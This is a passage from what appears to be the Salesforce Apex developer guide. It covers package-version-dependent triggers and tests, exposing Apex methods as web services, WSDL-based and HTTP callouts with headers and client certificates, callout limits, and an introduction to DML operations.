When subscribers install multiple versions of your package and write code that references Apex classes or triggers in your package, they must select the version that they are referencing. Within the Apex code that is being referenced in your package, you can conditionally execute different code paths based on the version setting of the calling Apex code that is making the reference. The package version setting of the calling code can be determined within the package code by accessing the Package.Version.Request object. Package developers can use this object and accompanying methods to determine the request context and exhibit different behavior for different versions of the package.

The following sample shows different behavior in a trigger for different package versions

```apex
trigger oppValidation on Opportunity (before insert, before update) {
    for(Opportunity o : Trigger.new){
        // New validation added in package version 1.5
        // Applies to all version of the managed package, except 1.0
        if(Package.Version.Request.isGreaterThan(Package.Version.1.0)){
            if(o.Probability >= 50 && o.Description == NULL){
                oaddError('All deals over 50% require a description');
            }
        }
        // Validation applies to all versions of the managed package
        if(o.IsWon == true && o.LeadSource == NULL){
            oaddError('A lead source must be provided for all Closed Won deals');
        }
    }
}
```

For a full list of methods that work with package versions, see Package Methods on page 311.

Note: You cannot use the Package.Version.Request object in unmanaged packages.
The request context is persisted if a class in the installed package invokes a method in another class in the package. For example, a subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber creates a new GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If GeoReportsEx invokes a method in ContinentUtil which internally invokes a method in CountryUtil, the request context is propagated from ContinentUtil to CountryUtil and the Package.Version.Request variable in CountryUtil refers to version 2.3 of the GeoReports package.

**Apex Code Items that Are Not Versioned**

You can change the behavior of some Apex items across package versions. For example, you can deprecate a method so that new subscribers can no longer reference the package in a subsequent version.

However, the following list of modifiers, keywords, and annotations cannot be versioned. If a package developer makes changes to one of the following modifiers, keywords, or annotations, the changes are reflected across all package versions.

There are limitations on the changes that you can make to some of these items when they are used in Apex code in managed packages.

Package developers can add or remove the following items:

- @future
- @isTest
- with sharing
- without sharing
- transient

Package developers can make limited changes to the following items:

- private—can be changed to global
- public—can be changed to global
- protected—can be changed to global
- abstract—can be changed to virtual but cannot be removed
- final—can be removed but cannot be added

Package developers cannot remove or change the following items:

- global
- virtual

Package developers can add the webService keyword, but once it has been added, it cannot be removed.

**Note:** You cannot deprecate webService methods or variables in managed package code.

**Testing Behavior in Package Versions**

When you change the behavior in an Apex class or trigger for different package versions, it is important to test that your code runs as expected in the different package versions. You can write test methods that change the package version context to a different package version by using the system method runAs. You can only use runAs in a test method. This method effectively sets the Package.Version.Request object in a test method.

The following sample shows a trigger with different behavior for different package versions.

```apex
trigger oppValidation on Opportunity (before insert, before update) {
    for(Opportunity o : Trigger.new){
```
Add a new validation to the package
// Applies to versions of the managed package greater than 1.0
If(Package.Version.Request.isGreaterThan(Package.Version.1.0)){
    If(o.Probability >= 50 && o.Description == NULL){
        o.addError('All deals over 50% require a description');
    }
}

// Add a new validation to the package.
// This validation applies to all versions of the managed package.
If(o.IsWon == true && o.LeadSource == NULL){
    o.addError('A lead source must be provided for all Closed Won deals');
}
}

The following test class verifies the trigger's behavior:

@isTest
public class OppTriggerTests{
    static testMethod void testOppValidation(){
        // Set up 50% opportunity with no description
        Opportunity o = new Opportunity();
        o.Name = 'Test Job';
        o.Probability = 50;
        o.StageName = 'Prospect';
        o.CloseDate = System.today();

        // Test running as latest package version
        try{
            insert o;
        } catch(System.DMLException e){
            System.assert(e.getMessage().contains('All deals over 50% require a description'),
                        e.getMessage());
        }

        // Run test as managed package version 1.0
        System.runAs(Package.Version.1.0){
            try{
                insert o;
            } catch(System.DMLException e){
                System.assert(false, e.getMessage());
            }
        }

        // Set up a closed won opportunity with no lead source
        o = new Opportunity();
        o.Name = 'Test Job';
        o.Probability = 50;
        o.StageName = 'Prospect';
        o.CloseDate = System.today();
        o.StageName = 'Closed Won';

        // Test running as latest package version
        try{
            insert o;
        }
catch(System.DMLException e){
    System.assert(
        e.getMessage().contains(
            'A lead source must be provided for all Closed Won deals'),
        e.getMessage());
}

// Run test as managed package version 1.0
System.runAs(Package.Version.1.0){
    try{
        insert o;
    } catch(System.DMLException e){
        System.assert(
            e.getMessage().contains(
                'A lead source must be provided for all Closed Won deals'),
            e.getMessage());
    }
}
}
Chapter 11
Exposing Apex Methods as Web Services

You can expose your Apex methods so that external applications can access your code and your application. To expose your Apex methods, use WebService Methods.

**Tip:** Apex Web services allow an external application to invoke Apex methods through Web services. Apex callouts enable Apex to invoke external web or HTTP services.
WebService Methods

Apex class methods can be exposed as custom Force.com Web services API calls. This allows an external application to invoke an Apex web service to perform an action in Salesforce. Use the `webService` keyword to define these methods. For example:

```apex
global class MyWebService {
    webService static Id makeContact(String lastName, Account a) {
        Contact c = new Contact(lastName = 'Weissman', AccountId = a.Id);
        insert c;
        return c.id;
    }
}
```

A developer of an external application can integrate with an Apex class containing `webService` methods by generating a WSDL for the class. To generate a WSDL from an Apex class detail page:

1. In the application navigate to `Your Name ➤ Setup ➤ Develop ➤ Apex Classes`.
2. Click the name of a class that contains `webService` methods.
3. Click `Generate WSDL`.

Exposing Data with WebService Methods

Invoking a custom `webService` method always uses System context. Consequently, the current user's credentials are not used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules. Developers who expose methods with the `webService` keyword should therefore take care that they are not inadvertently exposing any sensitive data.

**Caution:** Apex class methods that are exposed through the API with the `webService` keyword do not observe object permissions, field-level security, or sharing rules for any records, unless the methods are contained in a class defined using the `with sharing` keyword. Only classes defined using `with sharing` respect sharing rules for current user.

Considerations for Using the WebService Keyword

When using the `webService` keyword, keep the following considerations in mind:

- You cannot use the `webService` keyword when defining a class. However, you can use it to define top-level, outer class methods, and methods of an inner class.
- You cannot use the `webService` keyword to define an interface, or to define an interface’s methods and variables.
- System-defined enums cannot be used in Web service methods.
- You cannot use the `webService` keyword in a trigger because you cannot define a method in a trigger.
- All classes that contain methods defined with the `webService` keyword must be declared as `global`. If a method or inner class is declared as `global`, the outer, top-level class must also be defined as `global`.
- Methods defined with the `webService` keyword are inherently global. These methods can be used by any Apex script that has access to the class. You can consider the `webService` keyword as a type of access modifier that enables more access than `global`.
- You must define any method that uses the `webService` keyword as `static`.
- You cannot deprecate `webService` methods or variables in managed package code.
- Because there are no SOAP analogs for certain Apex elements, methods defined with the `webService` keyword cannot take the following elements as parameters. While these elements can be used within the method, they also cannot be marked as return values.
Maps
- Sets
- Pattern objects
- Matcher objects
- Exception objects

• You must use the `WebService` keyword with any member variables that you want to expose as part of a Web service. You should not mark these member variables as `static`.
• Salesforce denies access to Web service and `executeanonymous` requests from an AppExchange package that has `Restricted` access.
• Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

The following example shows a class with Web service member variables as well as a Web service method:

```apex
global class SpecialAccounts {

global class AccountInfo {
    WebService String AcctName;
    WebService Integer AcctNumber;
}

WebService static Account createAccount(AccountInfo info) {
    Account acct = new Account();
    acct.Name = info.AcctName;
    acct.AccountNumber = String.valueOf(info.AcctNumber);
    insert acct;
    return acct;
}

WebService static Id [] createAccounts(Account parent, Account child, Account grandChild) {
    insert parent;
    child.parentId = parent.Id;
    insert child;
    grandChild.parentId = child.Id;
    insert grandChild;

    Id [] results = new Id[3];
    results[0] = parent.Id;
    results[1] = child.Id;
    results[2] = grandChild.Id;
    return results;
}

TestMethod static void testAccountCreate() {
    AccountInfo info = new AccountInfo();
    info.AcctName = 'Manoj Cheenath';
    info.AcctNumber = 12345;
    Account acct = SpecialAccounts.createAccount(info);
    System.assert(acct != null);
}
}
```

You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 86.
Overloading Web Service Methods

SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with the `webService` keyword to have the same name. Web service methods that have the same name in the same class generate a compile-time error.
In this chapter ...

- Adding Remote Site Settings
- SOAP Services: Defining a Class from a WSDL Document
- Invoking HTTP Callouts
- Using Certificates
- Callout Limits

An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending an HTTP request from an Apex script and then receiving the response. Apex provides integration with Web services that utilize SOAP and WSDL, or HTTP services (RESTful services).

**Note:** Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce prevents calls to unauthorized network addresses.

To learn more about the two types of callouts, see:

- SOAP Services: Defining a Class from a WSDL Document on page 204
- Invoking HTTP Callouts on page 211

**Tip:** Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application to invoke Apex methods through Web services.
Adding Remote Site Settings

Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce prevents calls to unauthorized network addresses.

To add a remote site setting:

1. Click **Your Name ➤ Setup ➤ Security Controls ➤ Remote Site Settings**.
2. Click **New Remote Site**.
3. Enter a descriptive term for the **Remote Site Name**.
4. Enter the URL for the remote site.
5. Optionally, enter a description of the site.
6. Click **Save**.

SOAP Services: Defining a Class from a WSDL Document

Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex scripts.

**Note:** Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only when necessary.

To generate an Apex class from a WSDL:

1. In the application, click **Your Name ➤ Setup ➤ Develop ➤ Apex Classes**.
2. Click **Generate from WSDL**.
3. Click **Browse** to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is the basis for the Apex class you are creating.

**Note:**

The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port.

For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:

- 80: This port only accepts HTTP connections.
- 443: This port only accepts HTTPS connections.
- 1024–66535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click **Parse WSDL** to verify the WSDL document contents. The application generates a default class name for each namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes. For example, the Salesforce SOAP API WSDL cannot be parsed.

5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class name for each namespace, Apex classes can be no more than 1 million characters total.

6. Click **Generate Apex**. The final page of the wizard shows which classes were successfully generated, along with any errors from other classes. The page also provides a link to view successfully-generated code.
The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by the WSDL document. These classes allow you to call the external Web service from Apex.

Note the following about the generated Apex:

• If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated. For example, limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords on page 450. For details on handling characters in element names in a WSDL that are not supported in Apex variable names, see Considerations Using WSDLs on page 211.

• If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.

After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.

Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from Understanding the Generated Code and add it to your organization.

Invoking an External Service

To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex script and call the methods on it. For example, to invoke the StrikeIron IP address lookup service from Apex, you could write a script similar to the following:

```apex
// Create the stub
strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap();

// Set up the license header
dns.LicenseInfo = new strikeiron.LicenseInfo();
dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser();
dns.LicenseInfo.RegisteredUser.UserID = 'you@company.com';
dns.LicenseInfo.RegisteredUser.Password = 'your-password';

// Make the Web service call
strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');
```

HTTP Header Support

You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization header. To set HTTP headers, add inputHttpHeaders_x and outputHttpHeaders_x to the stub.

Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header.

The following samples work with the sample WSDL file in Understanding the Generated Code on page 208:

Sending HTTP Headers on a Web Service Callout

```apex
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.inputHttpHeaders_x = new Map<String, String>();

//Setting a basic authentication header
stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==');

//Setting a cookie header
```
stub.inputHttpHeaders_x.put('Cookie', 'name=value');

//Setting a custom HTTP header
stub.inputHttpHeaders_x.put('myHeader', 'myValue');

String input = 'This is the input string';
String output = stub.EchoString(input);

If a value for inputHttpHeaders_x is specified, it overrides the standard headers set.

**Accessing HTTP Response Headers from a Web Service Callout Response**

docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.outputHttpHeaders_x = new Map<String, String>();
String input = 'This is the input string';
String output = stub.EchoString(input);

//Getting cookie header
String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');

//Getting custom header
String myHeader = stub.outputHttpHeaders_x.get('My-Header');

The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to the content of headers in the response.

**Supported WSDL Features**

Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes:

<table>
<thead>
<tr>
<th>Schema Type</th>
<th>Apex Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>xsd:anyURI</td>
<td>String</td>
</tr>
<tr>
<td>xsd:boolean</td>
<td>Boolean</td>
</tr>
<tr>
<td>xsd:date</td>
<td>Date</td>
</tr>
<tr>
<td>xsd:dateTime</td>
<td>Datetime</td>
</tr>
<tr>
<td>xsd:double</td>
<td>Double</td>
</tr>
<tr>
<td>xsd:float</td>
<td>Double</td>
</tr>
<tr>
<td>xsd:int</td>
<td>Integer</td>
</tr>
<tr>
<td>xsd:integer</td>
<td>Integer</td>
</tr>
<tr>
<td>xsd:language</td>
<td>String</td>
</tr>
<tr>
<td>xsd:long</td>
<td>Long</td>
</tr>
<tr>
<td>xsd:Name</td>
<td>String</td>
</tr>
<tr>
<td>xsd:NCName</td>
<td>String</td>
</tr>
<tr>
<td>xsd:nonNegativeInteger</td>
<td>Integer</td>
</tr>
<tr>
<td>xsd:NMTOKEN</td>
<td>String</td>
</tr>
<tr>
<td>xsd:NMTOKENS</td>
<td>String</td>
</tr>
<tr>
<td>xsd:normalizedString</td>
<td>String</td>
</tr>
</tbody>
</table>
Invoking Callouts Using Apex

Support WSDL Features

<table>
<thead>
<tr>
<th>Schema Type</th>
<th>Apex Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>xsd:NOTATION</td>
<td>String</td>
</tr>
<tr>
<td>xsd:positiveInteger</td>
<td>Integer</td>
</tr>
<tr>
<td>xsd:QName</td>
<td>String</td>
</tr>
<tr>
<td>xsd:short</td>
<td>Integer</td>
</tr>
<tr>
<td>xsd:string</td>
<td>String</td>
</tr>
<tr>
<td>xsd:time</td>
<td>Datetime</td>
</tr>
<tr>
<td>xsd:token</td>
<td>String</td>
</tr>
<tr>
<td>xsd:unsignedInt</td>
<td>Integer</td>
</tr>
<tr>
<td>xsd:unsignedLong</td>
<td>Long</td>
</tr>
<tr>
<td>xsd:unsignedShort</td>
<td>Integer</td>
</tr>
</tbody>
</table>

Note: The Salesforce datatype anyType is not supported in WSDLs used to generate Apex code that is saved using API version 15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String.

Apex also supports the following schema constructs:
- xsd:all, in Apex code saved using API version 15.0 and later
- xsd:annotation, in Apex code saved using API version 15.0 and later
- xsd:attribute, in Apex code saved using API version 15.0 and later
- xsd:choice, in Apex code saved using API version 15.0 and later
- xsd:element. In Apex code saved using API version 15.0 and later, the ref attribute is also supported with the following restrictions:
  - You cannot call a ref in a different namespace.
  - A global element cannot use ref.
  - If an element contains ref, it cannot also contain name or type.
- xsd:sequence

The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web service method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external Web service.
- blob
- decimal
- enum

Apex does not support any other WSDL constructs, types, or services, including:
- RPC/encoded services
- WSDL files with multiple portTypes, multiple services, or multiple bindings
- WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not supported:

```xml
<wsdl:types>
  <xsd:schema
      elementFormDefault="qualified"
```
However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL you are converting:

```xml
<wsdl:types>
  <xsd:schema
      xmlns:xsd="http://www.w3.org/2001/XMLSchema"
      elementFormDefault="qualified"
      targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
    <xsd:element name="CreateBucket">
      <xsd:complexType>
        <xsd:sequence>
          [...]
        </xsd:sequence>
      </xsd:complexType>
    </xsd:element>
  </xsd:schema>
</wsdl:types>
```

- Any schema types not documented in the previous table
- WSDLs that exceed the size limit, including the Salesforce WSDLs

**Understanding the Generated Code**

The following example shows how an Apex class is created from a WSDL document. The following code shows a sample WSDL document:

```xml
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:tns="http://doc.sample.com/docSample"
  targetNamespace="http://doc.sample.com/docSample"
  xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">

  <!-- Above, the schema targetNamespace maps to the Apex class name. -->

  <!-- Below, the type definitions for the parameters are listed. Each complexType and simpleType parameter is mapped to an Apex class inside the parent class for the WSDL. Then, each element in the complexType is mapped to a public field inside the class. -->

  <wsdl:types>
    <s:schema elementFormDefault="qualified"
      targetNamespace="http://doc.sample.com/docSample">
      <s:element name="EchoString">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
      <s:element name="EchoStringResponse">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="0" maxOccurs="1" name="EchoStringResult" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </wsdl:types>
</wsdl:definitions>
```
From this WSDL document, the following Apex class can be generated:

```apex
//Generated by wsd12apex

public class docSample {
    public class EchoStringResponse_element {
        public String EchoStringResult;

        private String[] EchoStringResult_type_info = new String[] {
            'EchoStringResult',
            'http://www.w3.org/2001/XMLSchema',
            'string',
            '0','1','false'};

        private String[] apex_schema_type_info = new String[] {
            'http://doc.sample.com/docSample',
            'true'};

        private String[] field_order_type_info = new String[] {
            'EchoStringResult'};
    }
}
```
public class DocSamplePort {

    public String endpoint_x = 'http://www.salesforcesampletest.org/WebServices/DocSample.asmx';

    private String[] ns_map_type_info = new String[]{
        'http://doc.sample.com/docSample',
        'docSample'};

    public String EchoString(String input) {
        docSample.EchoString_element request_x = new docSample.EchoString_element();
        docSample.EchoStringResponse_element response_x;
        request_x.input = input;
        Map<String, docSample.EchoStringResponse_element> response_map_x = new Map<String, docSample.EchoStringResponse_element>();
        response_map_x.put('response_x', response_x);
        WebServiceCallout.invoke(
            this,
            request_x,
            response_map_x,
            new String[]{endpoint_x,
                         'urn:dotnet.callouttest.soap.sforce.com/EchoString',
                         'http://doc.sample.com/docSample',
                         'EchoString',
                         'http://doc.sample.com/docSample',
                         'EchoStringResponse',
                         'docSample.EchoStringResponse_element'}
        );
        response_x = response_map_x.get('response_x');
        return response_x.EchoStringResult;
    }
}

public class EchoString_element {

    public String input;
    private String[] input_type_info = new String[]{
        'input',
        'http://www.w3.org/2001/XMLSchema','string','0','1','false'};
    private String[] apex_schema_type_info = new String[]{
        'http://doc.sample.com/docSample',
        'true'};
    private String[] field_order_type_info = new String[]{'input'};
}

Note the following mappings from the original WSDL document:

- The WSDL target namespace maps to the Apex class name.
- Each complex type becomes a class. Each element in the type is a public field in the class.
- The WSDL port name maps to the stub class.
- Each operation in the WSDL maps to a public method.

The class generated above can be used to invoke external Web services. The following code shows how to call the echoString method on the external server:

docSample.DocSamplePort stub = new docSample.DocSamplePort();
String input = 'This is the input string';
String output = stub.EchoString(input);
Considerations Using WSDLs

Be aware of the following when generating Apex classes from a WSDL.

Mapping Headers

Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit and .NET works.

Understanding Runtime Events

The following checks are performed when an Apex script is making a callout to an external service.

- For information on the timeout limits when making an HTTP request or a Web services call, see Callout Limits on page 214.
- Circular references in Apex classes are not allowed.
- More than one loopback connection to Salesforce domains is not allowed.
- To allow an endpoint to be accessed, it should be registered in Your Name ➤ Setup ➤ Security ➤ Remote Site Settings.
- To prevent database connections from being held up, no transactions can be open.

Understanding Unsupported Characters in Variable Names

A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when generating Apex variable names from a WSDL file:

- If the first character of an element name is not alphabetic, an x character is prepended to the generated Apex variable name.
- If the last character of an element name is not allowed in an Apex variable name, an x character is appended to the generated Apex variable name.
- If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an underscore (_) character.
- If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is replaced with an underscore (_) character and the second one is replaced with an x character. This avoids generating a variable name with two successive underscores, which is not allowed in Apex.
- Suppose you have an operation that takes two parameters, a_x and a_x. The generated Apex has two variables, both named a_x. The class will not compile. You must manually edit the Apex and change one of the variable names.

Debugging Classes Generated from WSDL Files

Salesforce.com tests code with Web services API, .NET, and Axis. If you use other tools, you might encounter issues.

You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems. For more information, see Web Services API Calls and SOAP Headers for Apex on page 460.

Invoking HTTP Callouts

Apex provides several built-in classes to work with HTTP services and create HTTP requests like GET, POST, PUT, and DELETE.

You can use these HTTP classes to integrate to REST-based services. They also allow you to integrate to SOAP-based web services as an alternate option to generating Apex scripts from a WSDL. By using the HTTP classes, instead of starting with a WSDL, you take on more responsibility for handling the construction of the SOAP message for the request and response.
For more information and samples, see HTTP (RESTful) Services Classes on page 379. Also, the Force.com Toolkit for Google Data APIs makes extensive use of HTTP callouts.

## Using Certificates

You can use two-way SSL authentication by sending a certificate generated in Salesforce or signed by a certificate authority (CA) with your callout. This enhances security as the target of the callout receives the certificate and can use it to authenticate the request against its keystore.

To enable two-way SSL authentication for a callout:

1. **Generate a certificate.**
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP Requests.
3. If you are connecting to a third-party and you are using a self-signed certificate, share the Salesforce certificate with them so that they can add the certificate to their keystore. If you are connecting to another application used within your organization, configure your Web or application server to request a client certificate. This process depends on the type of Web or application server you use. For an example of how to set up two-way SSL with Apache Tomcat, see [wiki.developerforce.com/index.php/Making_Authenticated_Web_Service_Callouts_Using_Two-Way_SSL](wiki.developerforce.com/index.php/Making_Authenticated_Web_Service_Callouts_Using_Two-Way_SSL).
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails.

## Generating Certificates

You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate for a callout:

1. Go to **Your Name ➤ Setup ➤ Security Controls ➤ Certificate and Key Management**
2. Select either **Create Self-Signed Certificate** or **Create CA-Signed Certificate**, based on what kind of certificate your external website accepts. You can’t change the type of a certificate after you’ve created it.
3. Enter a descriptive label for the Salesforce certificate. This name is used primarily by administrators when viewing certificates.
4. Enter the **Unique Name**. This name is automatically populated based on the certificate label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique Name when referring to the certificate using the Force.com Web services API or Apex.
5. Select a **Key Size** for your generated certificate and keys. Selecting **2048** (the default) generates a certificate using 2048-bit keys and is valid for two years. Selecting **1024** generates a certificate using 1024-bit keys and is valid for one year. Salesforce.com recommends that you specify **2048** for security reasons.

   **Note:** Once you save a Salesforce certificate, you can’t change the key size.

6. If you’re creating a CA-signed certificate, you must also enter the following information. These fields are joined together to generate a unique certificate.

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Common Name</td>
<td>The fully qualified domain name of the company requesting the signed certificate. This is generally of the form: <a href="http://www.mycompany.com">http://www.mycompany.com</a>.</td>
</tr>
</tbody>
</table>
### Field | Description
--- | ---
Email Address | The email address associated with this certificate.
Company | Either the legal name of your company, or your legal name.
Department | The branch of your company using the certificate, such as marketing or accounting.
City | The city where the company resides.
State | The state where the company resides.
Country Code | A two-letter code indicating the country where the company resides. For the United States, the value is US.

7. Click **Save**.

After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated. After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See "Uploading Certificate Authority (CA)-Signed Certificates" in the Salesforce online help.

### Using Certificates with SOAP Services

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to a SOAP Web service.

To integrate the certificate with your Apex:

1. Receive the WSDL for the Web service from the third party or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the Web service. See *SOAP Services: Defining a Class from a WSDL Document* on page 204.
3. The generated Apex classes include a stub for calling the third-party Web service represented by the WSDL document. Edit the Apex classes, and assign a value to a `clientCertName_x` variable on an instance of the stub class. The value must match the Unique Name of the certificate you generated using *Your Name ➤ Setup ➤ Security Controls ➤ Certificate and Key Management*.

The following example illustrates the last step of the previous procedure and works with the sample WSDL file in *Understanding the Generated Code* on page 208. This example assumes that you previously generated a certificate with a Unique Name of `DocSampleCert`.

```java
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCertName_x = 'DocSampleCert';
String input = 'This is the input string';
String output = stub.EchoString(input);
```

There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate key in base64, and assign it to the `clientCert_x` variable on the stub. This is inherently less secure than using a Salesforce certificate because it does not follow security best practices for protecting private keys. When you use a Salesforce certificate, the private key is not shared outside Salesforce.

**Note:** Do not use a client certificate generated from *Your Name ➤ Setup ➤ Develop ➤ API ➤ Generate Client Certificate*. You must use a certificate obtained from a third party for your organization if you use the legacy process.
The following example illustrates the legacy process and works with the sample WSDL file in Understanding the Generated Code on page 208.

```java
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCert_x = 'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAacCBkEEggY9MIIGOTCCae4GCSqGSIb3DQEHAaCCAd8EggHb' +
'MIIIBzCCAdmCygqGSIb3DQEMCGCoIBgjCCAX4wKAYKko2IhvcNAQwBAzAaBBSaUM1Xnxjzpfdu' +
'6YFw2gJFmk1DWFyvChQeuPzV2+E4b4r98k6PhsPDA9MCEwCQYFk4DahoFAAQ4zKBfAxcN45w' +
'9yZm215Ccn4d0EFjL8jr68wwKVssVckbryBz/zYHO6AqIEAA=',';

// Password for the keystore
stub.clientCertPasswd_x = 'passwd';

String input = 'This is the input string';
String output = stub.EchoString(input);
```

Using Certificates with HTTP Requests

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP request.

To integrate the certificate with your Apex:

1. **Generate a certificate.** Note the Unique Name of the certificate.
2. In your Apex, use the `setClientCertificateName` method of the `HttpRequest` class. The value used for the argument for this method must match the Unique Name of the certificate that you generated in the previous step.

The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert.

```java
HttpRequest req = new HttpRequest();
req.setClientCertificateName('DocSampleCert');
```

Callout Limits

The following limits apply when an Apex script makes a callout to an HTTP request or a Web services call. The Web services call can be a Web services API call or any external Web services call.

- A single Apex transaction can make a maximum of 10 callouts to an HTTP request or an API call.
- The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum is 60 seconds. See the following examples for how to set custom timeouts for Web services or HTTP callouts.
- The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts invoked by the Apex transaction.

Setting Callout Timeouts

The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and the generated `DocSamplePort` class described in Understanding the Generated Code on page 208. Set the timeout value in milliseconds by assigning a value to the special `timeout_x` variable on the stub.

```java
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.timeout_x = 2000; // timeout in milliseconds
```
The following is an example of setting a custom timeout for HTTP callouts:

```java
HttpRequest req = new HttpRequest();
req.setTimeout(2000); // timeout in milliseconds
```
Chapter 13
Reference

In this chapter ...

- Apex Data Manipulation Language (DML) Operations
- Apex Standard Classes and Methods
- Apex Classes
- Apex Interfaces

The Apex reference contains information about the Apex language.

- Data manipulation language (DML) operations—used to manipulate data in the database
- Standard classes and methods—available for primitive data types, collections, sObjects, and other parts of Apex
- Apex classes—prebuilt classes available for your use
- Apex interfaces on page 419—interfaces you can implement
Apex Data Manipulation Language (DML) Operations

Use data manipulation language (DML) operations to retrieve, insert, delete, and update data in a database.

You can execute DML operations using two different forms:

- Apex DML statements, such as:

  ```apex
  insert SOBJECT[]
  ```

- Apex DML database methods, such as:

  ```apex
  Database.SaveResult[] result = Database.Insert(SOBJECT[])
  ```

While most DML operations are available in either form, some exist only in one form or the other.

The different DML operation forms enable different types of exception processing:

- Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately interrupts control flow (by using `try...catch` blocks). This behavior is similar to the way exceptions are handled in most database procedural languages.

- Use DML database methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge success or failure. Note that DML database methods also include a syntax that supports thrown exceptions, similar to DML statements.

The following Apex DML operations are available:

- `convertLead`
- `delete`
- `insert`
- `merge`
- `undelete`
- `update`
- `upsert`

System Context and Sharing Rules

Most DML operations execute in system context, ignoring the current user's profile permissions, field-level security, organization-wide defaults, position in the role hierarchy, and sharing rules. However, when a DML operation is called in a class defined with the `with sharing` keywords, the current user's sharing rules are taken into account. For more information, see Using the `with sharing` or `without sharing` Keywords on page 111.

String Field Truncation and API Version

